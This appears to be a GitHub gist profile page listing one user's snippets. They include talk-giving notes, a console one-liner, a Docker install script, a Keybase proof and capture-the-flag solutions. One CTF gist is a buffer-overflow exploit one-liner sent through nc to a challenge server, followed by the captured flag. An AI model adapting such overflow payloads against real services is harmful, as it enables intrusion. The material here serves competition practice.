Skip to content

Instantly share code, notes, and snippets.

View ChOkO08's full-sized avatar

Rafael ChOkO ChOkO08

View GitHub Profile
@ChOkO08
ChOkO08 / speed.md
Created January 30, 2024 20:24
Giving a good talk by Jason @curi0usJack Lang

SPEED:

  • Story
  • Practical
  • Experienced
  • Enthusiastic
  • Demo

Story

Not required for a good talk, but the best talks have them. Small ones to punctuate a point, larger ones to have an audience on the edge of their seat. Learn, then practice, the art of storytelling and it will immediately improve your presentation.

@ChOkO08
ChOkO08 / fprintdiv.js
Created January 25, 2024 11:50
Find and print div given class ~ one-liner for console
document.querySelectorAll('.react-select__multi-value__label.css-blah-blah-blah').forEach(element => console.log(element.textContent));
@ChOkO08
ChOkO08 / http_redir.py
Created August 17, 2022 06:10
Python HTTP Server Redirector
#!/usr/bin/env python
"""
Simple HTTP URL redirector
Shreyas Cholia 10/01/2015
usage: redirect.py [-h] [--port PORT] [--ip IP] redirect_url
HTTP redirect server
positional arguments:
@ChOkO08
ChOkO08 / docker-user-data.sh
Created March 11, 2022 15:52
Docker user-data for Ubuntu
#!/bin/bash
apt update -y
DEBIAN_FRONTEND=noninteractive apt install apt-transport-https ca-certificates curl software-properties-common -y
curl -fsSL "https://download.docker.com/linux/ubuntu/gpg" | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu"
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"
apt update -y
DEBIAN_FRONTEND=noninteractive apt install docker-ce -y
curl -L "https://github.com/docker/compose/releases/download/1.21.2/docker-compose-Linux-x86_64" -o /usr/local/bin/docker-compose
chmod +x "/usr/local/bin/docker-compose"

Keybase proof

I hereby claim:

  • I am choko08 on github.
  • I am choko08 (https://keybase.io/choko08) on keybase.
  • I have a public key ASD1eB8HX4GVhgNoSNlBaijfmnCk_nbIRFbay91L4n2G5Qo

To claim this, I am signing this object:

#!/bin/bash
# \xa0\x89\x04\x08 <get_flag>:
# \x4f\xd6\x8c\x30 # 1st cmp
# \xd1\x19\x57\x19 # 2nd cmp
python -c 'print "A" * 56 + "\xa0\x89\x04\x08" + "ret" + "\x4f\xd6\x8c\x30" + "\xd1\x19\x57\x19"' | nc 54.175.35.248 8005
Qual a palavrinha magica? 3DS{b0f_pr4_c0m3c4r_n3}
@ChOkO08
ChOkO08 / solve_dna.py
Last active December 24, 2016 02:20
different_and_notorious_alignment
"""
different_and_notorious_alignment
[PT-BR]
Acesse o servidor em 54.175.35.248:8001
"""
#coding:utf-8
import socket
def countDiff(x,y):
@ChOkO08
ChOkO08 / solve_results.py
Last active December 24, 2016 02:21
Results does not matter!!!
"""
Results does not matter!!!
[EN]
Santa got a paper with strange stuff on it.
There was a hint on the bottom: "Use 32 bit"
He have no idea what's this about.
Can you help him to reveal the flag?
Flag format: 3DS{sha256(FLAG)}
[PT-BR]